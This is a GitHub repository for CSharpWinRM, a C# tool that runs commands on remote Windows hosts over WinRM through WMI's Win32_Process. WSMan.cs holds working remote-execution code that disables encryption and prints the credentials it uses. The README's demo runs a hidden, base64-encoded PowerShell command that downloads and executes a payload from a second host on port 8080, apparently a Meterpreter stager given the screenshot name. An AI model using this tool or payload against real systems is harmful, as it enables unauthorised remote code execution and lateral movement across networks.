├── .gitignore
├── CSharpWinRM
├── CSharpWinRM.sln
└── CSharpWinRM
│ ├── CSharpWinRM.csproj
│ ├── Logger.cs
│ ├── Program.cs
│ ├── Properties
│ └── AssemblyInfo.cs
│ ├── WSMan.cs
│ ├── app.config
│ └── lib
│ └── WsmAuto.dll
├── LICENSE
├── README.md
└── screenshots
└── meterpreter.PNG
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | # Created by https://www.toptal.com/developers/gitignore/api/csharp
3 | # Edit at https://www.toptal.com/developers/gitignore?templates=csharp
4 |
5 | ### Csharp ###
6 | ## Ignore Visual Studio temporary files, build results, and
7 | ## files generated by popular Visual Studio add-ons.
8 | ##
9 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
10 |
11 | # User-specific files
12 | *.rsuser
13 | *.suo
14 | *.user
15 | *.userosscache
16 | *.sln.docstates
17 |
18 | # User-specific files (MonoDevelop/Xamarin Studio)
19 | *.userprefs
20 |
21 | # Mono auto generated files
22 | mono_crash.*
23 |
24 | # Build results
25 | [Dd]ebug/
26 | [Dd]ebugPublic/
27 | [Rr]elease/
28 | [Rr]eleases/
29 | x64/
30 | x86/
31 | [Aa][Rr][Mm]/
32 | [Aa][Rr][Mm]64/
33 | bld/
34 | [Bb]in/
35 | [Oo]bj/
36 | [Ll]og/
37 | [Ll]ogs/
38 |
39 | # Visual Studio 2015/2017 cache/options directory
40 | .vs/
41 | # Uncomment if you have tasks that create the project's static files in wwwroot
42 | #wwwroot/
43 |
44 | # Visual Studio 2017 auto generated files
45 | Generated\ Files/
46 |
47 | # MSTest test Results
48 | [Tt]est[Rr]esult*/
49 | [Bb]uild[Ll]og.*
50 |
51 | # NUnit
52 | *.VisualState.xml
53 | TestResult.xml
54 | nunit-*.xml
55 |
56 | # Build Results of an ATL Project
57 | [Dd]ebugPS/
58 | [Rr]eleasePS/
59 | dlldata.c
60 |
61 | # Benchmark Results
62 | BenchmarkDotNet.Artifacts/
63 |
64 | # .NET Core
65 | project.lock.json
66 | project.fragment.lock.json
67 | artifacts/
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*[.json, .xml, .info]
147 |
148 | # Visual Studio code coverage results
149 | *.coverage
150 | *.coveragexml
151 |
152 | # NCrunch
153 | _NCrunch_*
154 | .*crunch*.local.xml
155 | nCrunchTemp_*
156 |
157 | # MightyMoose
158 | *.mm.*
159 | AutoTest.Net/
160 |
161 | # Web workbench (sass)
162 | .sass-cache/
163 |
164 | # Installshield output folder
165 | [Ee]xpress/
166 |
167 | # DocProject is a documentation generator add-in
168 | DocProject/buildhelp/
169 | DocProject/Help/*.HxT
170 | DocProject/Help/*.HxC
171 | DocProject/Help/*.hhc
172 | DocProject/Help/*.hhk
173 | DocProject/Help/*.hhp
174 | DocProject/Help/Html2
175 | DocProject/Help/html
176 |
177 | # Click-Once directory
178 | publish/
179 |
180 | # Publish Web Output
181 | *.[Pp]ublish.xml
182 | *.azurePubxml
183 | # Note: Comment the next line if you want to checkin your web deploy settings,
184 | # but database connection strings (with potential passwords) will be unencrypted
185 | *.pubxml
186 | *.publishproj
187 |
188 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
189 | # checkin your Azure Web App publish settings, but sensitive information contained
190 | # in these scripts will be unencrypted
191 | PublishScripts/
192 |
193 | # NuGet Packages
194 | *.nupkg
195 | # NuGet Symbol Packages
196 | *.snupkg
197 | # The packages folder can be ignored because of Package Restore
198 | **/[Pp]ackages/*
199 | # except build/, which is used as an MSBuild target.
200 | !**/[Pp]ackages/build/
201 | # Uncomment if necessary however generally it will be regenerated when needed
202 | #!**/[Pp]ackages/repositories.config
203 | # NuGet v3's project.json files produces more ignorable files
204 | *.nuget.props
205 | *.nuget.targets
206 |
207 | # Microsoft Azure Build Output
208 | csx/
209 | *.build.csdef
210 |
211 | # Microsoft Azure Emulator
212 | ecf/
213 | rcf/
214 |
215 | # Windows Store app package directories and files
216 | AppPackages/
217 | BundleArtifacts/
218 | Package.StoreAssociation.xml
219 | _pkginfo.txt
220 | *.appx
221 | *.appxbundle
222 | *.appxupload
223 |
224 | # Visual Studio cache files
225 | # files ending in .cache can be ignored
226 | *.[Cc]ache
227 | # but keep track of directories ending in .cache
228 | !?*.[Cc]ache/
229 |
230 | # Others
231 | ClientBin/
232 | ~$*
233 | *~
234 | *.dbmdl
235 | *.dbproj.schemaview
236 | *.jfm
237 | *.pfx
238 | *.publishsettings
239 | orleans.codegen.cs
240 |
241 | # Including strong name files can present a security risk
242 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
243 | #*.snk
244 |
245 | # Since there are multiple workflows, uncomment next line to ignore bower_components
246 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
247 | #bower_components/
248 |
249 | # RIA/Silverlight projects
250 | Generated_Code/
251 |
252 | # Backup & report files from converting an old project file
253 | # to a newer Visual Studio version. Backup files are not needed,
254 | # because we have git ;-)
255 | _UpgradeReport_Files/
256 | Backup*/
257 | UpgradeLog*.XML
258 | UpgradeLog*.htm
259 | ServiceFabricBackup/
260 | *.rptproj.bak
261 |
262 | # SQL Server files
263 | *.mdf
264 | *.ldf
265 | *.ndf
266 |
267 | # Business Intelligence projects
268 | *.rdl.data
269 | *.bim.layout
270 | *.bim_*.settings
271 | *.rptproj.rsuser
272 | *- [Bb]ackup.rdl
273 | *- [Bb]ackup ([0-9]).rdl
274 | *- [Bb]ackup ([0-9][0-9]).rdl
275 |
276 | # Microsoft Fakes
277 | FakesAssemblies/
278 |
279 | # GhostDoc plugin setting file
280 | *.GhostDoc.xml
281 |
282 | # Node.js Tools for Visual Studio
283 | .ntvs_analysis.dat
284 | node_modules/
285 |
286 | # Visual Studio 6 build log
287 | *.plg
288 |
289 | # Visual Studio 6 workspace options file
290 | *.opt
291 |
292 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
293 | *.vbw
294 |
295 | # Visual Studio LightSwitch build output
296 | **/*.HTMLClient/GeneratedArtifacts
297 | **/*.DesktopClient/GeneratedArtifacts
298 | **/*.DesktopClient/ModelManifest.xml
299 | **/*.Server/GeneratedArtifacts
300 | **/*.Server/ModelManifest.xml
301 | _Pvt_Extensions
302 |
303 | # Paket dependency manager
304 | .paket/paket.exe
305 | paket-files/
306 |
307 | # FAKE - F# Make
308 | .fake/
309 |
310 | # CodeRush personal settings
311 | .cr/personal
312 |
313 | # Python Tools for Visual Studio (PTVS)
314 | __pycache__/
315 | *.pyc
316 |
317 | # Cake - Uncomment if you are using it
318 | # tools/**
319 | # !tools/packages.config
320 |
321 | # Tabs Studio
322 | *.tss
323 |
324 | # Telerik's JustMock configuration file
325 | *.jmconfig
326 |
327 | # BizTalk build output
328 | *.btp.cs
329 | *.btm.cs
330 | *.odx.cs
331 | *.xsd.cs
332 |
333 | # OpenCover UI analysis results
334 | OpenCover/
335 |
336 | # Azure Stream Analytics local run output
337 | ASALocalRun/
338 |
339 | # MSBuild Binary and Structured Log
340 | *.binlog
341 |
342 | # NVidia Nsight GPU debugger configuration file
343 | *.nvuser
344 |
345 | # MFractors (Xamarin productivity tool) working folder
346 | .mfractor/
347 |
348 | # Local History for Visual Studio
349 | .localhistory/
350 |
351 | # BeatPulse healthcheck temp database
352 | healthchecksdb
353 |
354 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
355 | MigrationBackup/
356 |
357 | # Ionide (cross platform F# VS Code tools) working folder
358 | .ionide/
359 |
360 | # End of https://www.toptal.com/developers/gitignore/api/csharp
361 |
--------------------------------------------------------------------------------
/CSharpWinRM/CSharpWinRM.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30309.148
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CSharpWinRM", "CSharpWinRM\CSharpWinRM.csproj", "{1CD88528-506A-4CDE-B864-11E6D919E5E8}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {1CD88528-506A-4CDE-B864-11E6D919E5E8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {1CD88528-506A-4CDE-B864-11E6D919E5E8}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {1CD88528-506A-4CDE-B864-11E6D919E5E8}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {1CD88528-506A-4CDE-B864-11E6D919E5E8}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {2F5736A4-8CF9-465F-BF48-F44CBDF96D0E}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/CSharpWinRM/CSharpWinRM/CSharpWinRM.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {1CD88528-506A-4CDE-B864-11E6D919E5E8}
8 | Exe
9 | CSharpWinRM
10 | CSharpWinRM
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | {F010BE25-296D-4036-980F-5A0669A17577}
56 | 1
57 | 0
58 | 0
59 | tlbimp
60 | False
61 | False
62 |
63 |
64 |
65 |
--------------------------------------------------------------------------------
/CSharpWinRM/CSharpWinRM/Logger.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace CSharpWinRM
7 | {
8 | class Logger
9 | {
10 | public enum STATUS
11 | {
12 | GOOD = 0,
13 | ERROR = 1,
14 | INFO = 2
15 | };
16 | public static void Print(STATUS status, String msg)
17 | {
18 | if (status == STATUS.GOOD)
19 | {
20 | Console.WriteLine("[+] " + msg);
21 | }
22 | else if (status == STATUS.ERROR)
23 | {
24 | Console.WriteLine("[-] " + msg);
25 | }
26 | else if (status == STATUS.INFO)
27 | {
28 | Console.WriteLine("[*] " + msg);
29 | }
30 | }
31 | }
32 | }
--------------------------------------------------------------------------------
/CSharpWinRM/CSharpWinRM/Program.cs:
--------------------------------------------------------------------------------
1 | namespace CSharpWinRM
2 | {
3 | class Program
4 | {
5 | static void Main(string[] args)
6 | {
7 | WSMan.Execute(args);
8 | }
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/CSharpWinRM/CSharpWinRM/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("CSharpWinRM")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("CSharpWinRM")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("1cd88528-506a-4cde-b864-11e6d919e5e8")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/CSharpWinRM/CSharpWinRM/WSMan.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Linq.Expressions;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Xml;
7 | using WSManAutomation;
8 |
9 | namespace CSharpWinRM
10 | {
11 | class WSMan
12 | {
13 | public static Boolean Execute(string[] args)
14 | {
15 | Boolean Encryption = false;
16 |
17 | String Target = "";
18 | String Domain = "";
19 | String Username = "";
20 | String Password = "";
21 | String Command = "";
22 |
23 | if (args.Length == 2)
24 | {
25 | Target = args[0];
26 | Command = args[1];
27 | }
28 |
29 | else if (args.Length == 5)
30 | {
31 | try
32 | {
33 | Target = args[0];
34 | Domain = args[1];
35 | Username = args[2];
36 | Password = args[3];
37 | Command = args[4];
38 | }
39 | catch (Exception e)
40 | {
41 | Logger.Print(Logger.STATUS.ERROR, e.Message);
42 | return false;
43 | }
44 | }
45 | else
46 | {
47 | Help();
48 | return false;
49 | }
50 |
51 | String hostUri = String.Format("http://{0}:5985", Target);
52 | String sessionURI = String.Format("http://{0}/wsman", Target);
53 |
54 | WSManClass wsmanClass = new WSManClass();
55 |
56 | IWSManConnectionOptions connectionOptions = (IWSManConnectionOptions)wsmanClass.CreateConnectionOptions();
57 | if(Domain != "" && Username != "" && Password != "")
58 | {
59 | connectionOptions.UserName = Domain + "\\" + Username;
60 | connectionOptions.Password = Password;
61 | Logger.Print(Logger.STATUS.INFO, "Authenticating with: " + Domain + "\\"+ Username + ":" + Password);
62 |
63 | }
64 | else if (Domain == "" && Username == "" && Password == "")
65 | {
66 | Logger.Print(Logger.STATUS.INFO, "Authenticating as: " + Environment.UserDomainName + "\\" + Environment.UserName);
67 | }
68 | else
69 | {
70 | Help();
71 | return false;
72 | }
73 |
74 | Logger.Print(Logger.STATUS.INFO, "Command: " + Command);
75 |
76 | int wsmanFlags = wsmanClass.SessionFlagUTF8() | wsmanClass.SessionFlagCredUsernamePassword();
77 |
78 | if (!Encryption)
79 | {
80 | // https://stackoverflow.com/questions/1469791/powershell-v2-remoting-how-do-you-enable-unencrypted-traffic
81 | wsmanClass.SessionFlagNoEncryption();
82 | }
83 |
84 | try
85 | {
86 | // https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nn-wsmandisp-iwsmansession
87 | IWSManSession wsmanSession = (IWSManSession)wsmanClass.CreateSession(hostUri, wsmanFlags, connectionOptions);
88 |
89 | if (wsmanSession != null)
90 | {
91 | // https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-and-wmi
92 | // https://csharp.hotexamples.com/examples/-/IWSManSession/-/php-iwsmansession-class-examples.html
93 |
94 | XmlDocument xmlIdentifyResponse = new XmlDocument();
95 |
96 | // https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-identify
97 | // Queries a remote computer to determine if it supports the WS-Management protocol.
98 | try
99 | {
100 | xmlIdentifyResponse.LoadXml(wsmanSession.Identify());
101 | if (!xmlIdentifyResponse.HasChildNodes)
102 | {
103 | Logger.Print(Logger.STATUS.INFO, "Failed to Identify() host");
104 | Marshal.ReleaseComObject(wsmanSession);
105 | return false;
106 | }
107 | Logger.Print(Logger.STATUS.GOOD, "Successfully identified host: ");
108 | foreach(XmlNode node in xmlIdentifyResponse.ChildNodes)
109 | {
110 | foreach(XmlNode innernodes in node.ChildNodes)
111 | {
112 | Logger.Print(Logger.STATUS.GOOD, innernodes.InnerText);
113 | }
114 | }
115 | }
116 | catch (Exception e)
117 | {
118 | Logger.Print(Logger.STATUS.ERROR, "Failed to Identify() host");
119 | Logger.Print(Logger.STATUS.ERROR, e.Message);
120 | Marshal.ReleaseComObject(wsmanSession);
121 | return false;
122 | }
123 |
124 | string resourceURI = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process";
125 |
126 | // https://social.microsoft.com/Forums/en-US/d6ec5087-33dc-4967-8183-f8524683a3ea/using-remote-powershellwinrm-within-caspnet
127 | StringBuilder parameters = new StringBuilder();
128 | parameters.Append("");
130 | parameters.Append("" + Command + "");
131 | parameters.Append("");
132 |
133 | Logger.Print(Logger.STATUS.INFO, "Sending the following XML: ");
134 | Console.WriteLine("\n" + parameters + "\n");
135 |
136 | String responseFromInvoke = wsmanSession.Invoke("Create", resourceURI, parameters.ToString(), 0);
137 |
138 | if (responseFromInvoke != null)
139 | {
140 | Logger.Print(Logger.STATUS.GOOD, "Got a response from invoke:");
141 | Console.WriteLine("\n" + responseFromInvoke + "\n");
142 | XmlDocument xmlInvokeResponse = new XmlDocument();
143 | try
144 | {
145 | xmlInvokeResponse.LoadXml(responseFromInvoke);
146 | foreach (XmlNode node in xmlInvokeResponse.ChildNodes)
147 | {
148 | foreach (XmlNode innernodes in node.ChildNodes)
149 | {
150 | String NodeName = innernodes.Name.Replace("p:", "");
151 | String NodeValue = innernodes.InnerText;
152 | Logger.Print(Logger.STATUS.GOOD, NodeName + ": " + NodeValue);
153 | if(NodeName == "ReturnValue")
154 | {
155 | if(NodeValue == "0")
156 | {
157 | Logger.Print(Logger.STATUS.GOOD, "Process Sucessfully Started!");
158 | }
159 | else
160 | {
161 | Logger.Print(Logger.STATUS.ERROR, "Process failed to start, got error: " + NodeValue);
162 | }
163 | }
164 | }
165 | }
166 | }
167 | catch(Exception e)
168 | {
169 | Logger.Print(Logger.STATUS.ERROR, "Got an erorr whilst parsing response: " + e.Message);
170 | Marshal.ReleaseComObject(wsmanSession);
171 | }
172 |
173 | }
174 | else
175 | {
176 | Logger.Print(Logger.STATUS.ERROR, "Got no response, not too sure what this means...");
177 | Marshal.ReleaseComObject(wsmanSession);
178 | return false;
179 | }
180 |
181 | Marshal.ReleaseComObject(wsmanSession);
182 | }
183 | else
184 | {
185 | Logger.Print(Logger.STATUS.ERROR, "Failed to create session with IWSManSession");
186 | Marshal.ReleaseComObject(wsmanSession);
187 | ErrorMsg();
188 | }
189 | }
190 | finally
191 | {
192 | Marshal.ReleaseComObject(connectionOptions);
193 | }
194 | return true;
195 | }
196 | private static Int32 ErrorMsg()
197 | {
198 | Win32Exception errorMessage = new Win32Exception(Marshal.GetLastWin32Error());
199 | Logger.Print(Logger.STATUS.ERROR, String.Format("{0} (Error Code: {1})", errorMessage.Message, errorMessage.NativeErrorCode.ToString()));
200 | return (Int32)errorMessage.NativeErrorCode;
201 | }
202 | private static void Help()
203 | {
204 | Console.WriteLine("[*] Usage: .\\CSharpWinRM.exe [Domain] [Username] [Password] ");
205 | Console.WriteLine("[*] Example 1: .\\CSharpWinRM.exe 192.168.0.1 DomainName Administrator Password123! \"powershell.exe -e blah\"");
206 | Console.WriteLine("[*] Example 2: .\\CSharpWinRM.exe 192.168.0.1 \"powershell.exe -e blah\"");
207 | return;
208 | }
209 | }
210 | }
211 |
--------------------------------------------------------------------------------
/CSharpWinRM/CSharpWinRM/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mez-0/CSharpWinRM/13f8f0ca7d8774ce7f7df821fe24cd700d5ca8c5/CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Mez0
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CSharpWinRM
2 |
3 | `CsharpWinRM` is a .NET 4.0 implementation of WinRM using the [WinRM C++ API](https://docs.microsoft.com/en-us/windows/win32/winrm/winrm-c---api). This project takes in credentials and a command, then executes it on the remote host using `Win32_Process`.
4 |
5 | ## Explanation
6 |
7 | After looking into how the `Win32_Process` method in WMI is used to execute remote commands, I threw this together:
8 |
9 | ```csharp
10 | public static void Main()
11 | {
12 | String command = "powershell.exe -nop -w hidden -e ";
13 | String Target = "10.10.11.115";
14 |
15 | ConnectionOptions options = new ConnectionOptions();
16 | options.Username = "water.tribe\\Administrator";
17 | options.Password = "Password123!";
18 |
19 | String Scope = String.Format("\\\\{0}\\root\\cimv2", Target);
20 |
21 | Console.WriteLine("Scope:" + Scope);
22 |
23 | ManagementScope managementScope = new ManagementScope(Scope,options);
24 |
25 | managementScope.Connect();
26 | ManagementClass managementClass = new ManagementClass(managementScope, new ManagementPath("Win32_Process"),new ObjectGetOptions());
27 | object[] process = { command };
28 | object result = managementClass.InvokeMethod("Create", process);
29 | Console.WriteLine(result);
30 | }
31 | ```
32 |
33 | Which is cool. So, I moved onto looking at how `WinRM` can be used in C#. Browsing through StackOverflow, people were typically [doing this with PowerShell Runspaces](https://stackoverflow.com/questions/27197402/running-a-command-on-a-remote-windows-using-winrm-in-c-sharp). Except for [one mad-lad](https://stackoverflow.com/a/4158374) who was using the WinAPI. I then rabbit-holed for an evening on this, which produces this project.
34 |
35 | The DLL in use here is the [wsmauto.dll](https://dll.website/wsmauto-dll). Referencing this DLL allows access to a bunch of [WSMan methods](https://docs.microsoft.com/en-us/windows/win32/winrm/wsman).
36 |
37 | All the heavy lifting is done by the [IWSManSession](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nn-wsmandisp-iwsmansession) interface, this gave access to two important methods:
38 |
39 | - [IWSManSession::Identify](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke)
40 | - [IWSManSession::Invoke](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke)
41 |
42 | The `Identify()` method is used to determine if the remote host is going to allow access, its used like so:
43 |
44 | ```csharp
45 | xmlIdentifyResponse.LoadXml(wsmanSession.Identify());
46 | ```
47 |
48 | Where `xmlIdentifyResponse` is just an `XmlDocument`. If its possible, an XML response is returned:
49 |
50 | ```xml
51 |
52 | http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
53 | Microsoft Corporation
54 | OS: 6.3.9600 SP: 0.0 Stack: 3.0
55 |
56 | http://schemas.dmtf.org/wbem/wsman/1/wsman/secprofile/http/spnego-kerberos
57 |
58 |
59 | ```
60 |
61 | With that, most of the mind-melting was done by trying to determine the `actionUri`, and the `resourceUri` as seen in the `IWSManSession::Invoke` [documentation](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-invoke). Until starting this project, I did not know that WinRM uses WMI under-the-hood, so I was soon able to link up `WIn32_Process` to create the process as seen in the WMI example at the start.
62 |
63 | The following PowerShell command sheds some light on the resourceUri:
64 |
65 | ```powershell
66 | winrm help uris
67 | ```
68 |
69 | This became:
70 |
71 | ```csharp
72 | string resourceURI = "http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process";
73 | ```
74 |
75 | Finally, the actual payload. Originally, I was building the XML in one big `String.Format`, this would not respect anything after a space. So I could only run `cmd.exe` or something. But, [thanks to this chap](https://social.microsoft.com/Forums/en-US/d6ec5087-33dc-4967-8183-f8524683a3ea/using-remote-powershellwinrm-within-caspnet), I was able to get around that with a `StringBuilder`:
76 |
77 | ```csharp
78 | StringBuilder parameters = new StringBuilder();
79 | parameters.Append("");
81 | parameters.Append("" + Command + "");
82 | parameters.Append("");
83 | ```
84 |
85 | This is all then put together, and invoked:
86 |
87 | ```csharp
88 | String responseFromInvoke = wsmanSession.Invoke("Create", resourceURI, parameters.ToString(), 0);
89 | ```
90 |
91 | `Create` being the `Win32_Process` [method](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process).
92 |
93 | ## Demo
94 |
95 | I'll preface this with:
96 |
97 | > It works for me.
98 |
99 | Example command:
100 |
101 | ```
102 | .\CSharpWinRM.exe 10.10.11.115 water.tribe administrator Password123! "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABOAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAE4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABOAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAvADgAMgBkAHIAWgBoADcATAA1AEsAYQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQAxAC4AMQAxADkAOgA4ADAAOAAwAC8ANgBUADAARwByADcASABvAHoAaQAnACkAKQA7AA=="
103 | ```
104 |
105 | On execution, if successful, it should look something like this:
106 |
107 | 
108 |
109 | If the `ReturnValue` is 0, then all is well. It will also give the `ProcessId`:
110 |
111 | ```
112 | PS C:\Users\Administrator> Get-Process -Pid 1344
113 |
114 | Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
115 | ------- ------ ----- ----- ----- ------ -- -----------
116 | 413 32 69676 71440 599 0.58 1344 powershell
117 | ```
118 |
